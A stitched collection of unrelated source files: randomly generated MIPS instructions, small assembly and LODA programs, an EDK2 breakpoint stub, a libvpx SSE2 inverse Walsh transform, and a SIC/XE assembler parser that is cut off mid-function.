$4,15($0) mthi $5 sll $4,$3,0 mflo $0 lb $1,4($0) mtlo $5 ori $0,$4,38773 mfhi $6 mflo $5 lui $0,52708 srav $0,$1,$1 mfhi $1 addu $5,$2,$2 lui $4,58854 multu $0,$0 sb $6,4($0) mflo $0 sll $2,$2,10 sb $0,1($0) mthi $1 mfhi $0 divu $5,$ra mtlo $5 mflo $4 addu $5,$4,$4 srav $1,$4,$5 divu $3,$ra div $0,$ra ori $1,$1,37439 multu $5,$4 div $5,$ra addiu $4,$0,11399 mthi $1 ori $5,$1,34665 mult $4,$2 ori $0,$2,32890 srav $1,$2,$1 div $4,$ra multu $2,$2 div $5,$ra sll $2,$4,20 mfhi $6 sll $5,$5,20 multu $1,$4 mult $5,$2 sll $4,$4,23 sll $5,$6,31 addiu $4,$4,13434 lui $5,38611 lb $3,16($0) addu $3,$4,$3 mtlo $3 mthi $0 mfhi $4 mfhi $3 sb $4,1($0) addu $4,$5,$5 div $0,$ra srav $5,$6,$4 divu $5,$ra mflo $6 divu $1,$ra div $4,$ra sll $1,$1,7 mtlo $3 sll $5,$4,24 addiu $0,$2,24570 srav $1,$1,$1 ori $6,$4,52590 mtlo $5 mflo $1 lui $4,13370 ori $6,$4,7726 sll $5,$5,9 mtlo $3 sb $6,16($0) sll $4,$2,7 multu $4,$4 multu $4,$2 lb $5,9($0) multu $1,$2 sll $0,$2,0 mthi $4 sll $5,$4,22 addiu $5,$5,-31758 mtlo $6 addiu $3,$5,2360 sb $1,16($0) div $2,$ra addiu $5,$6,-26271 lui $1,11597 sll $2,$2,13 lb $1,12($0) lui $5,49954 divu $4,$ra multu $4,$1 multu $4,$2 addiu $1,$2,27958 div $6,$ra sb $1,9($0) addu $5,$5,$5 addu $5,$1,$3 lui $2,951 srav $6,$2,$4 ori $0,$0,11345 sb $5,11($0) divu $4,$ra sll $5,$1,0 lui $4,4757 sb $3,13($0) lb $0,8($0) lui $6,24801 addu $4,$4,$1 sb $4,3($0) mult $4,$2 sb $2,1($0) sll $5,$4,0 multu $2,$4 mfhi $4 div $6,$ra multu $4,$4 mfhi $5 div $5,$ra lb $4,12($0) mflo $4 mfhi $0 mflo $4 addiu $4,$4,-32591 mult $2,$2 divu $0,$ra sb $2,5($0) lui $4,40038 srav $1,$6,$1 sb $3,10($0) addiu $0,$6,18589 mtlo $3 multu $1,$1 mfhi $1 divu $4,$ra mult $2,$2 lb $1,1($0) sll $1,$1,1 div $5,$ra addiu $6,$2,-11834 sb $4,6($0) divu $4,$ra addiu $1,$2,4859 mflo $4 mthi $3 srav $4,$5,$3 addiu $2,$2,-21379 srav $4,$3,$3 srav $5,$2,$3 ori $4,$4,24091 div $4,$ra divu $0,$ra sll $1,$5,19 addu $5,$5,$5 multu $5,$4 mthi $3 mult $5,$6 addiu $4,$4,7858 mult $4,$4 mfhi $1 mthi $5 ori $6,$2,42546 mtlo $4 mthi $5 div $5,$ra mflo $5 mthi $2 sb $5,2($0) ori $0,$1,20146 div $2,$ra mthi $4 div $4,$ra multu $4,$2 mflo $1 mflo $0 lui $4,53538 sll $1,$1,25 lb $4,8($0) multu $5,$4 lui $3,36130 mult $2,$5 div $6,$ra srav $5,$5,$5 lb $4,5($0) mflo $1 div $5,$ra addu $1,$2,$2 div $4,$ra mult $0,$2 mflo $5 lui $4,28857 lb $4,10($0) srav $1,$4,$4 sll $5,$1,21 mult $2,$4 mthi $5 lui $0,13640 lui $1,13369 mflo $2 lb $5,9($0) mtlo $0 addiu $6,$2,-6406 addu $1,$1,$4 sb $6,3($0) mflo $5 multu $0,$0 mtlo $1 lb $1,11($0) div $5,$ra addu $4,$5,$2 mtlo $4 ori $0,$2,39989 addiu $6,$2,18522 mthi $4 srav $4,$3,$3 mfhi $4 mfhi $1 lb $4,13($0) divu $0,$ra divu $2,$ra divu $6,$ra multu $5,$0 sb $1,0($0) mtlo $0 lb $5,9($0) lb $0,6($0) lb $4,5($0) sll $4,$5,13 multu $2,$1 lb $6,15($0) mthi $4 divu $4,$ra mfhi $4 mtlo $4 addu $1,$2,$2 mthi $4 multu $6,$3 mthi $4 multu $5,$1 mflo $1 addu $6,$2,$6 mfhi $4 mflo $1 mflo $0 addiu $5,$5,-25533 multu $5,$1 ori $1,$1,5361 lui $5,41548 lui $3,48693 ori $5,$4,48281 sb $1,11($0) mflo $4 sll $2,$2,8 div $2,$ra sll $2,$2,7 addiu $2,$2,-19304 mtlo $6 sll $5,$5,21 sll $1,$1,6 srav $6,$1,$6 ori $3,$2,12746 multu $4,$1 mult $1,$1 lui $2,35158 addu $1,$1,$2 srav $6,$4,$2 lui $4,13770 addiu $0,$1,2075 srav $2,$2,$2 srav $4,$2,$5 mthi $2 mfhi $0 lui $0,34057 multu $0,$0 lb $4,12($0) mflo $2 mthi $4 mthi $4 mtlo $2 ori $2,$2,38732 mtlo $2 mult $6,$1 mult $0,$1 srav $4,$4,$6 sb $1,12($0) divu $2,$ra lui $2,51944 sll $6,$0,26 multu $4,$4 lb $0,2($0) divu $0,$ra div $4,$ra mtlo $5 sb $3,3($0) sll $4,$5,25 srav $5,$5,$1 sb $4,2($0) ori $4,$2,16335 addiu $2,$2,-15865 mfhi $2 ori $2,$2,19931 ori $1,$1,60852 srav $1,$1,$5 sb $4,4($0) mult $1,$1 addiu $2,$5,-14072 div $0,$ra ori $2,$2,62540 divu $4,$ra mfhi $0 addiu $1,$1,21274 mthi $4 divu $4,$ra mthi $1 mfhi $5 addiu $6,$4,-32051 lui $4,24836 mflo $5 sb $5,13($0) mthi $1 multu $6,$1 multu $2,$2 sb $1,4($0) srav $2,$2,$2 ori $4,$1,51799 sll $5,$5,16 lb $5,6($0) sll $4,$4,17 mflo $3 mult $0,$0 multu $0,$1 sb $3,15($0) div $1,$ra sb $4,9($0) divu $5,$ra lb $5,10($0) sb $5,4($0) lb $5,0($0) mthi $6 mthi $1 divu $4,$ra mfhi $6 lui $1,57476 divu $5,$ra lui $4,24277 mtlo $4 sll $4,$4,31 div $6,$ra sll $4,$4,9 sll $3,$0,15 sll $5,$4,11 multu $1,$1 srav $1,$3,$3 srav $5,$5,$5 mfhi $2 div $4,$ra mtlo $4 addu $1,$1,$1 multu $3,$4 addu $4,$4,$1 divu $5,$ra divu $4,$ra addiu $1,$2,-22241 addu $6,$4,$1 addiu $4,$5,8804 mtlo $0 sll $4,$3,15 divu $1,$ra mfhi $4 div $5,$ra lb $3,10($0) mtlo $0 div $5,$ra mult $1,$4 mthi $5 sb $5,14($0) sll $2,$2,6 mflo $1 multu $1,$6 mtlo $1 sb $0,16($0) addiu $4,$0,-17136 mfhi $4 div $4,$ra mfhi $4 div $4,$ra mult $6,$6 sb $4,7($0) mfhi $3 divu $0,$ra multu $4,$5 lb $4,11($0) divu $5,$ra mthi $1 mflo $4 addiu $4,$0,-16488 ori $5,$5,5210 mthi $2 addu $6,$4,$2 addiu $6,$4,17699 mthi $5 multu $6,$5 ori $4,$4,9023 ori $1,$4,53018 addiu $1,$2,30155 divu $5,$ra multu $5,$2 multu $5,$0 sll $4,$5,9 mflo $4 lb $1,6($0) sll $4,$5,23 div $6,$ra multu $5,$4 divu $3,$ra divu $5,$ra mtlo $1 lui $6,48326 lb $4,7($0) div $2,$ra lb $6,0($0) mflo $5 lui $5,228 addu $4,$2,$3 multu $0,$5 sll $1,$2,30 addu $2,$1,$2 ori $2,$2,43857 srav $1,$2,$1 sb $0,7($0) srav $6,$5,$3 srav $1,$1,$0 lb $1,1($0) sb $4,12($0) div $1,$ra addiu $4,$3,23859 multu $6,$6 addu $5,$3,$3 mult $4,$2 mult $1,$4 addiu $0,$4,-15496 divu $2,$ra div $4,$ra mflo $2 addiu $4,$4,-8981 sll $0,$1,22 addu $3,$5,$3 mflo $4 sb $4,10($0) mtlo $3 addiu $4,$4,-11364 lui $2,61424 mflo $0 lb $3,11($0) lui $2,39389 mult $4,$4 mtlo $4 addu $4,$4,$3 lui $5,41451 mult $5,$3 lb $5,11($0) mthi $6 mflo $6 div $5,$ra lb $5,13($0) multu $4,$4 mflo $0 multu $4,$2 lb $6,0($0) addu $4,$2,$2 lb $1,10($0) addu $6,$6,$1 mtlo $4 addu $5,$4,$6 div $5,$ra divu $2,$ra mult $4,$4 multu $5,$2 mflo $0 lui $5,21491 lb $4,8($0) srav $5,$5,$6 mthi $1 mtlo $0 divu $4,$ra multu $4,$6 lb $4,12($0) mflo $1 srav $4,$5,$2 srav $4,$4,$4 lui $4,41352 addu $0,$1,$2 lb $1,0($0) multu $1,$2 addu $5,$4,$3 mult $5,$4 lui $3,55458 div $5,$ra addu $4,$4,$0 lui $3,5331 addu $5,$1,$4 mtlo $4 multu $4,$1 div $1,$ra addiu $4,$4,22138 mtlo $4 srav $1,$5,$3 srav $2,$2,$3 mtlo $1 sb $6,5($0) sb $4,13($0) mflo $4 lb $4,0($0) sll $4,$4,8 mfhi $4 srav $5,$4,$3 lb $0,16($0) addiu $6,$6,28287 mult $0,$2 mthi $5 addiu $0,$5,10779 multu $3,$3 sb $4,11($0) sb $4,12($0) lb $1,11($0) div $3,$ra divu $1,$ra div $1,$ra div $5,$ra mfhi $1 lui $5,25391 mthi $4 mtlo $1 mthi $5 sb $4,16($0) div $4,$ra mult $4,$0 ori $3,$3,14813 mfhi $4 mult $4,$1 lui $4,60494 mult $3,$0 div $5,$ra addu $0,$4,$0 addiu $4,$2,32199 sb $5,3($0) srav $4,$2,$4 sll $3,$2,11 div $2,$ra ori $5,$4,41265 mthi $5 srav $3,$3,$3 sb $6,1($0) sb $1,9($0) srav $1,$2,$5 multu $5,$2 div $0,$ra mthi $1 sb $4,11($0) mflo $0 mfhi $5 div $5,$ra mult $4,$0 sll $4,$2,0 mfhi $4 lui $0,189 div $3,$ra srav $5,$1,$5 mult $2,$2 mtlo $1 mult $4,$5 lui $1,58770 addiu $5,$5,-25499 srav $1,$6,$6 addu $4,$0,$3 mflo $4 srav $6,$4,$5 lb $3,9($0) lui $5,45770 mflo $4 mflo $2 ori $1,$2,54057 lui $1,32990 divu $5,$ra mtlo $4
addi r1 r0 32 addi r2 r0 1 addi r3 r0 0 addi r4 r0 20 addi r5 r0 10 addi r8 r0 2 ciclo: add r7 r2 r0 addi r9 r0 0 imprime: divu r2 r5 mfhi r6 push r6 addi r9 r9 1 mflo r2 bne r2 r0 imprime imprime2: pop r6 addi r6 r6 48 tty r6 addi r9 r9 -1 bne r9 r0 imprime2 tty r1 add r2 r7 r0 mulu r2 r8 mflo r2 addi r3 r3 1 bne r3 r4 ciclo halt # Deberia escribir todas las potencias de 2 del 0 al 19
; A332420: Number of Maclaurin polynomials of sin x having exactly n positive zeros. ; 3,4,5,4,4,4,4,5,4,4,5,4,4,4,4,5,4,4,5,4,4,4,4,5,4,4,5,4,4,4,4,5 mul $0,5 mov $2,$0 div $2,2 lpb $2,1 add $2,7 add $3,7 mov $4,$3 lpb $4,1 gcd $2,8 sub $4,$4 lpe add $1,7 sub $2,1 lpe div $1,7 add $1,3
;------------------------------------------------------------------------------ ; ; CpuBreakpoint() for AArch64 ; ; Copyright (c) 2006 - 2009, Intel Corporation. All rights reserved.<BR> ; Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR> ; Portions copyright (c) 2011 - 2013, ARM Ltd. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ EXPORT CpuBreakpoint AREA BaseLib_LowLevel, CODE, READONLY ;/** ; Generates a breakpoint on the CPU. ; ; Generates a breakpoint on the CPU. The breakpoint must be implemented such ; that code can resume normal execution after the breakpoint. ; ;**/ ;VOID ;EFIAPI ;CpuBreakpoint ( ; VOID ; ); ; CpuBreakpoint svc 0xdbdb // Superviser exception. Takes 16bit arg -> Armv7 had 'swi' here. ret END
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" ;void vp8_short_inv_walsh4x4_sse2(short *input, short *output) global sym(vp8_short_inv_walsh4x4_sse2) sym(vp8_short_inv_walsh4x4_sse2): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 2 SAVE_XMM 6 push rsi push rdi ; end prolog mov rsi, arg(0) mov rdi, arg(1) mov rax, 3 movdqa xmm0, [rsi + 0] ;ip[4] ip[0] movdqa xmm1, [rsi + 16] ;ip[12] ip[8] shl rax, 16 or rax, 3 ;00030003h pshufd xmm2, xmm1, 4eh ;ip[8] ip[12] movdqa xmm3, xmm0 ;ip[4] ip[0] paddw xmm0, xmm2 ;ip[4]+ip[8] ip[0]+ip[12] aka b1 a1 psubw xmm3, xmm2 ;ip[4]-ip[8] ip[0]-ip[12] aka c1 d1 movdqa xmm4, xmm0 punpcklqdq xmm0, xmm3 ;d1 a1 punpckhqdq xmm4, xmm3 ;c1 b1 movd xmm6, eax movdqa xmm1, xmm4 ;c1 b1 paddw xmm4, xmm0 ;dl+cl a1+b1 aka op[4] op[0] psubw xmm0, xmm1 ;d1-c1 a1-b1 aka op[12] op[8] ;;;temp output ;; movdqu [rdi + 0], xmm4 ;; movdqu [rdi + 16], xmm3 ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; 13 12 11 10 03 02 01 00 ; ; 33 32 31 30 23 22 21 20 ; movdqa xmm3, xmm4 ; 13 12 11 10 03 02 01 00 punpcklwd xmm4, xmm0 ; 23 03 22 02 21 01 20 00 punpckhwd xmm3, xmm0 ; 33 13 32 12 31 11 30 10 movdqa xmm1, xmm4 ; 23 03 22 02 21 01 20 00 punpcklwd xmm4, xmm3 ; 31 21 11 01 30 20 10 00 punpckhwd xmm1, xmm3 ; 33 23 13 03 32 22 12 02 ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ pshufd xmm2, xmm1, 4eh ;ip[8] ip[12] movdqa xmm3, xmm4 ;ip[4] ip[0] pshufd xmm6, xmm6, 0 ;03 03 03 03 03 03 03 03 paddw xmm4, xmm2 ;ip[4]+ip[8] ip[0]+ip[12] aka b1 a1 psubw xmm3, xmm2 ;ip[4]-ip[8] ip[0]-ip[12] aka c1 d1 movdqa xmm5, xmm4 punpcklqdq xmm4, xmm3 ;d1 a1 punpckhqdq xmm5, xmm3 ;c1 b1 movdqa xmm1, xmm5 ;c1 b1 paddw xmm5, xmm4 ;dl+cl a1+b1 aka op[4] op[0] psubw xmm4, xmm1 ;d1-c1 a1-b1 aka op[12] op[8] ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; 13 12 11 10 03 02 01 00 ; ; 33 32 31 30 23 22 21 20 ; movdqa xmm0, xmm5 ; 13 12 11 10 03 02 01 00 punpcklwd xmm5, xmm4 ; 23 03 22 02 21 01 20 00 punpckhwd xmm0, xmm4 ; 33 13 32 12 31 11 30 10 movdqa xmm1, xmm5 ; 23 03 22 02 21 01 20 00 punpcklwd xmm5, xmm0 ; 31 21 11 01 30 20 10 00 punpckhwd xmm1, xmm0 ; 33 23 13 03 32 22 12 02 ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ paddw xmm5, xmm6 paddw xmm1, xmm6 psraw xmm5, 3 psraw xmm1, 3 movdqa [rdi + 0], xmm5 movdqa [rdi + 16], xmm1 ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret SECTION_RODATA align 16 x_s1sqr2: times 4 dw 0x8A8C align 16 x_c1sqr2less1: times 4 dw 0x4E7B align 16 fours: times 4 dw 0x0004
#include "assembler/parser.h" #include <assert.h> #include "assembler/code.h" #include "assembler/directive.h" #include "assembler/tokenizer.h" #include "common/cpu_state.h" #include "common/error_db.h" #include "common/instruction.h" #include "common/instruction_db.h" #include "common/text_file.h" using std::string; using std::unique_ptr; namespace sicxe { namespace assembler { Parser::Config::Config() : instruction_db(nullptr), case_sensitive(false), allow_brackets(true) {} Parser::Parser(const Config* config) : config_(config), code_(nullptr), error_db_(nullptr), extended_(false), visit_success_(false) {} Parser::~Parser() {} bool Parser::ParseFile(const TextFile& file, Code* code, ErrorDB* error_db) { code_ = code; error_db_ = error_db; code_->set_text_file(&file); error_db_->SetCurrentFile(&file); Tokenizer tokenizer; size_t line_count = file.lines().size(); bool success = true; bool seen_start = false; bool seen_end = false; const Token* last_mnemonic_token = nullptr; for (size_t i = 0; i < line_count; i++) { tokens_.clear(); if (!tokenizer.TokenizeLine(file, i, &tokens_, error_db_)) { success = false; continue; } if (!ParseLine()) { success = false; continue; } if (isa<node::Directive>(*node_)) { last_mnemonic_token = cast<node::Directive>(*node_).mnemonic(); } else if (isa<node::Instruction>(*node_)) { last_mnemonic_token = cast<node::Instruction>(*node_).mnemonic(); } if (success) { if (!seen_start) { if (isa<node::DirectiveStart>(*node_)) { seen_start = true; } else if (!isa<node::Empty>(*node_)) { success = false; error_db_->AddError(ErrorDB::ERROR, "code must begin with START directive", last_mnemonic_token->pos()); } } else if (isa<node::DirectiveStart>(*node_)) { success = false; error_db_->AddError(ErrorDB::ERROR, "only one START directive allowed", last_mnemonic_token->pos()); } if (!seen_end) { if (isa<node::DirectiveEnd>(*node_)) { seen_end = true; } } else { if (!isa<node::Empty>(*node_)) { success = false; error_db_->AddError(ErrorDB::ERROR, "no code allowed after END directive", last_mnemonic_token->pos()); } } } code_->mutable_nodes()->emplace_back(std::move(node_)); node_ = unique_ptr<node::Node>(); } if (!success) { return false; } if (!seen_start) { error_db_->AddError(ErrorDB::ERROR, "file contains no code"); return false; } if (!seen_end) { error_db_->AddError(ErrorDB::ERROR, "code must end with END directive", last_mnemonic_token->pos()); return false; } return true; } namespace { string StringToUppercase(const string& str) { string r = str; for (size_t i = 0; i < r.size(); i++) { if (isalpha(r[i])) { r[i] = toupper(r[i]); } } return r; } node::Directive* CreateDirectiveNode(Directive::DirectiveId directive_id) { switch (directive_id) { case Directive::START: return new node::DirectiveStart; case Directive::END: return new node::DirectiveEnd; case Directive::ORG: return new node::DirectiveOrg; case Directive::EQU: return new node::DirectiveEqu; case Directive::USE: return new node::DirectiveUse; case Directive::LTORG: return new node::DirectiveLtorg; case Directive::BASE: return new node::DirectiveBase; case Directive::NOBASE: return new node::DirectiveNobase; case Directive::EXTDEF: return new node::DirectiveExtdef; case Directive::EXTREF: return new node::DirectiveExtref; case Directive::BYTE: return new node::DirectiveMemInit(node::DirectiveMemInit::BYTE); case Directive::WORD: return new node::DirectiveMemInit(node::DirectiveMemInit::WORD); case Directive::RESB: return new node::DirectiveMemReserve(node::DirectiveMemReserve::BYTE); case Directive::RESW: return new node::DirectiveMemReserve(node::DirectiveMemReserve::WORD); default: assert(false); } return nullptr; } node::Instruction* CreateInstructionNode(Format::FormatId format_id) { switch (format_id) { case Format::F1: return new node::InstructionF1; case Format::F2: return new node::InstructionF2; case Format::FS34: return new node::InstructionFS34; default: assert(false); } return nullptr; } } // namespace bool Parser::ParseLine() { unique_ptr<Token> label, comment, extended_plus, mnemonic; extended_ = false; if (!tokens_.empty() && tokens_.back()->type() == Token::COMMENT) { comment = std::move(tokens_.back()); tokens_.pop_back(); } if (tokens_.empty()) { node_.reset(new node::Empty); } else { if (tokens_.front()->type() == Token::NAME && tokens_.front()->pos().column == 0) { label = std::move(tokens_.front()); tokens_.pop_front(); if (tokens_.empty()) { EndOfLineError(*label); return false; } } if (tokens_.front()->type() == Token::OPERATOR && tokens_.front()->operator_id() == Token::OP_ADD) { extended_plus = std::move(tokens_.front()); tokens_.pop_front(); extended_ = true; if (tokens_.empty()) { EndOfLineError(*extended_plus); return false; } } if (tokens_.front()->type() != Token::NAME) { error_db_->AddError(ErrorDB::ERROR, "expected mnemonic", tokens_.front()->pos()); return false; } mnemonic = std::move(tokens_.front()); tokens_.pop_front(); if (extended_ && (mnemonic->pos().column - extended_plus->pos().column) != 1) { error_db_->AddError(ErrorDB::ERROR, "whitespace between '+' and mnemonic", extended_plus->pos(), mnemonic->pos()); return false; } string mnemonic_str; if (config_->case_sensitive) { mnemonic_str = mnemonic->value(); } else { mnemonic_str = StringToUppercase(mnemonic->value()); } Directive::DirectiveId directive_id = Directive::START; const Instruction* instruction = nullptr; if (Directive::NameToId(mnemonic_str, &directive_id)) { if (extended_) { error_db_->AddError(ErrorDB::ERROR, "cannot use '+' with directive", extended_plus->pos()); return false; } node::Directive* directive_node = CreateDirectiveNode(directive_id); directive_node->set_mnemonic(mnemonic.release()); node_.reset(directive_node); } else if ((instruction = config_->instruction_db->FindMnemonic(mnemonic_str)) != nullptr) { if (extended_ && instruction->format() != Format::FS34) { error_db_->AddError(ErrorDB::ERROR, "cannot use '+' with this instruction", extended_plus->pos()); return false; } node::Instruction* node_instruction = CreateInstructionNode(instruction->format()); node_instruction->set_opcode(instruction->opcode()); node_instruction->set_syntax(instruction->syntax()); node_instruction->set_mnemonic(mnemonic.release()); node_.reset(node_instruction); } else { error_db_->AddError(ErrorDB::ERROR, "invalid mnemonic", mnemonic->pos()); return false; } node_->set_label(label.release()); } node_->set_comment(comment.release()); visit_success_ = true; node_->AcceptVisitor(this); if (!visit_success_) { return false; } if (!tokens_.empty()) { error_db_->AddError(ErrorDB::ERROR, "unexpected tokens at end of line", tokens_.front()->pos(), tokens_.back()->pos()); return false; } return true; } void Parser::VisitNode(node::Empty*) {} void Parser::VisitNode(node::InstructionF1*) {} bool Parser::ParseRegisterName(const Token& token, uint8* register_id) { if (token.type() != Token::NAME) { error_db_->AddError(ErrorDB::ERROR, "expected register name", token.pos()); return false; } CpuState::RegisterId id; if (!CpuState::RegisterNameToId(token.value(), &id)) { error_db_->AddError(ErrorDB::ERROR, "invalid register name", token.pos()); return false; } *register_id = static_cast<uint8>(id); return true; } void Parser::VisitNode(node::InstructionF2* node) { uint8 r1 = 0, r2 = 0; unique_ptr<Token> operand1, operand2; if (tokens_.empty()) { EndOfLineError(*node->mnemonic()); visit_success_ = false; return; } operand1 = std::move(tokens_.front()); tokens_.pop_front(); if (!ParseRegisterName(*operand1, &r1)) { visit_success_ = false; return; } node->set_r1(r1); if (node->syntax() == Syntax::F2_REG_REG || node->syntax() == Syntax::F2_REG_N) { unique_ptr<Token> comma; if (tokens_.empty()) { EndOfLineError(*operand1); visit_success_ = false; return; } comma = std::move(tokens_.front()); tokens_.pop_front(); if (comma->type() != Token::OPERATOR || comma->operator_id() != Token::OP_COMMA) { error_db_->AddError(ErrorDB::ERROR, "expected ','", comma->pos()); visit_success_ = false; return; } if (tokens_.empty()) { EndOfLineError(*comma); visit_success_ = false; return; } operand2 = std::move(tokens_.front()); tokens_.pop_front(); if (node->syntax() == Syntax::F2_REG_REG) { if (!ParseRegisterName(*operand2, &r2)) { visit_success_ = false; return; } } else { if (operand2->type() != Token::INTEGER) { error_db_->AddError(ErrorDB::ERROR, "expected integer", operand2->pos()); visit_success_ = false; return; } if (operand2->integer() >= 16) { error_db_->AddError(ErrorDB::ERROR, "operand must be less than 16", operand2->pos()); visit_success_ = false; return; } r2 = static_cast<uint8>(operand2->integer() & 0xf); } node->set_r2(r2); } } bool Parser::ParseExpression(bool allow_brackets, TokenList* expression) { assert(!tokens_.empty()); unique_ptr<Token> bracket_start; if (allow_brackets && tokens_.front()->type() == Token::OPERATOR && tokens_.front()->operator_id() == Token::OP_LBRACKET) { bracket_start = std::move(tokens_.front()); tokens_.pop_front(); if (tokens_.empty()) { EndOfLineError(*bracket_start); return false; } } // allow one '-' before expression if (tokens_.front()->type() == Token::OPERATOR && tokens_.front()->operator_id() == Token::OP_SUB) { expression->emplace_back(std::move(tokens_.front())); tokens_.pop_front(); if (tokens_.empty()) { EndOfLineError(*expression->back()); return false; } } while (true) { const Token& value_token = *tokens_.front(); if (value_token.type() != Token::NAME && value_token.type() != Token::INTEGER) { error_db_->AddError(ErrorDB::ERROR, "expected symbol name or integer", value_token.pos()); return false; } expression->emplace_back(std::move(tokens_.front())); tokens_.pop_front(); if (tokens_.empty()) { break; } const Token& operator_token = *tokens_.front(); if (operator_token.type() == Token::OPERATOR) { if (operator_token.operator_id() >= Token::OP_ADD && operator_token.operator_id() <= Token::OP_DIV) { expression->emplace_back(std::move(tokens_.front())); tokens_.pop_front(); } else { break; } } else { error_db_->AddError(ErrorDB::ERROR, "expected operator", operator_token.pos()); return false; } if (tokens_.empty()) { EndOfLineError(operator_token); return false; } } if (bracket_start != nullptr) { if (tokens_.empty()) { error_db_->AddError(ErrorDB::ERROR, "unmatched '['", bracket_start->pos()); return false; } else { unique_ptr<Token> bracket_end = std::move(tokens_.front()); tokens_.pop_front(); if (bracket_end->type() != Token::OPERATOR || bracket_end->operator_id() != Token::OP_RBRACKET) { error_db_->AddError(ErrorDB::ERROR, "expected ']' or arithmetic operator", bracket_end->pos()); return false; } } } return true; } namespace { node::InstructionFS34::AddressingId AddressingFromOperatorToken(const Token& token) { switch (token.operator_id()) { case Token::OP_ASSIGN: return node::InstructionFS34::LITERAL_POOL; case Token::OP_HASH: return node::InstructionFS34::IMMEDIATE; case Token::OP_AT: return node::InstructionFS34::INDIRECT; default: assert(false); } return node::InstructionFS34::SIMPLE; } string* CreateIndexRegName() { string* name = new string; bool success = CpuState::RegisterIdToName(CpuState::REG_X, name); assert(success); unused(success); return name; } } // namespace bool Parser::ParseAddressingOperator(node::InstructionFS34* node) { unique_ptr<Token> addressing_operator; node::InstructionFS34::AddressingId addressing = node::InstructionFS34::SIMPLE; if (tokens_.front()->type() == Token::OPERATOR && tokens_.front()->operator_id() >= Token::OP_ASSIGN && tokens_.front()->operator_id() <= Token::OP_AT) { addressing_operator = std::move(tokens_.front()); tokens_.pop_front(); addressing = AddressingFromOperatorToken(*addressing_operator); if (tokens_.empty()) { EndOfLineError(*addressing_operator); return false; } } node->set_addressing(addressing); if (node->syntax() == Syntax::FS34_STORE_B || node->syntax() == Syntax::FS34_STORE_W || node->syntax() == Syntax::FS34_STORE_F) { if (addressing == node::InstructionFS34::IMMEDIATE) { error_db_->AddError(ErrorDB::ERROR, "immediate addressing not allowed with store instructions", addressing_operator->pos()); return false; } if (addressing == node::InstructionFS34::LITERAL_POOL) { error_db_->AddError(ErrorDB::ERROR, "literal pool addressing not allowed with store instructions", addressing_operator->pos()); return false; } } if (node->syntax() == Syntax::FS34_LOAD_F && addressing == node::InstructionFS34::IMMEDIATE) { error_db_->AddError(ErrorDB::ERROR, "immediate addressing not allowed with floating " "point instructions", addressing_operator->pos()); return false; } return true; } bool Parser::CheckDataTokenMaxSize(const Token& data_token, Syntax::SyntaxId syntax) { if (syntax == Syntax::FS34_LOAD_B) { if (data_token.data().size() > 1) { error_db_->AddError(ErrorDB::ERROR, "literal size is limited to 1 byte", data_token.pos()); return false; } } else if (syntax == Syntax::FS34_LOAD_W) { if (data_token.data().size() > 3) { error_db_->AddError(ErrorDB::ERROR, "literal size is limited to 3 bytes", data_token.pos()); return false; } } else if (syntax == Syntax::FS34_LOAD_F) { if (data_token.data().size() > 6) { error_db_->AddError(ErrorDB::ERROR, "literal size is limited to 6 bytes", data_token.pos()); return false; } } else { assert(false); } return true; } bool Parser::ParseIndexOperator(node::InstructionFS34* node) { unique_ptr<Token> comma = std::move(tokens_.front()); tokens_.pop_front(); if (comma->type() != Token::OPERATOR || comma->operator_id() != Token::OP_COMMA) { error_db_->AddError(ErrorDB::ERROR, "expected ','", comma->pos()); return false; } if (tokens_.empty()) { EndOfLineError(*comma); return false; } static const string* index_reg_name = CreateIndexRegName(); unique_ptr<Token> index_reg_token = std::move(tokens_.front()); tokens_.pop_front(); if (index_reg_token->type() != Token::NAME || index_reg_token->value() != *index_reg_name) { error_db_->AddError(ErrorDB::ERROR, ("expected '" + *index_reg_name + "'").c_str(), index_reg_token->pos()); return false; } if (node->addressing() != node::InstructionFS34::SIMPLE) { error_db_->AddError(ErrorDB::ERROR, "indexed addressing allowed only when using simple addressing", index_reg_token->pos()); return false; } node->set_indexed(true); return true; } void Parser::VisitNode(node::InstructionFS34* node) { if (node->syntax() == Syntax::FS34_NONE) { return; } if (tokens_.empty()) { EndOfLineError(*node->mnemonic()); visit_success_ = false; return; } node->set_extended(extended_); if (!ParseAddressingOperator(node)) { visit_success_ = false; return; } node::InstructionFS34::AddressingId addressing = node->addressing(); if (addressing == node::InstructionFS34::LITERAL_POOL) { if (node->syntax() == Syntax::FS34_LOAD_F) { unique_ptr<Token> data_token = std::move(tokens_.front()); tokens_.pop_front(); if (data_token->type() != Token::DATA_FLOAT && data_token->type() != Token::DATA_BIN) { error_db_->AddError(ErrorDB::ERROR, "expected data constant", data_token->pos()); visit_success_ = false; return; } if (!CheckDataTokenMaxSize(*data_token, node->syntax())) { visit_success_ = false; return; } node->set_data_token(data_token.release()); } else if (node->syntax() == Syntax::FS34_LOAD_B || node->syntax() == Syntax::FS34_LOAD_W) { if (tokens_.front()->type() == Token::DATA_FLOAT) { error_db_->AddError(ErrorDB::ERROR, "float literal not allowed with this instruction", tokens_.front()->pos()); visit_success_ = false; return; } if (tokens_.front()->type() == Token::DATA_BIN) { unique_ptr<Token> data_token = std::move(tokens_.front()); tokens_.pop_front(); if (!CheckDataTokenMaxSize(*data_token, node->syntax())) { visit_success_ = false; return; } node->set_data_token(data_token.release()); } else { if (!ParseExpression(config_->allow_brackets, node->mutable_expression())) { visit_success_ = false; return; } } } else { assert(false); } } else { bool brackets = config_->allow_brackets && (addressing == node::InstructionFS34::IMMEDIATE || addressing == node::InstructionFS34::INDIRECT); if (!ParseExpression(brackets, node->mutable_expression())) { visit_success_ = false; return; } } if (tokens_.empty()) { return; } if (!ParseIndexOperator(node)) { visit_success_ = false; return; } } void Parser::VisitExpressionDirective(node::ExpressionDirective* node) { if 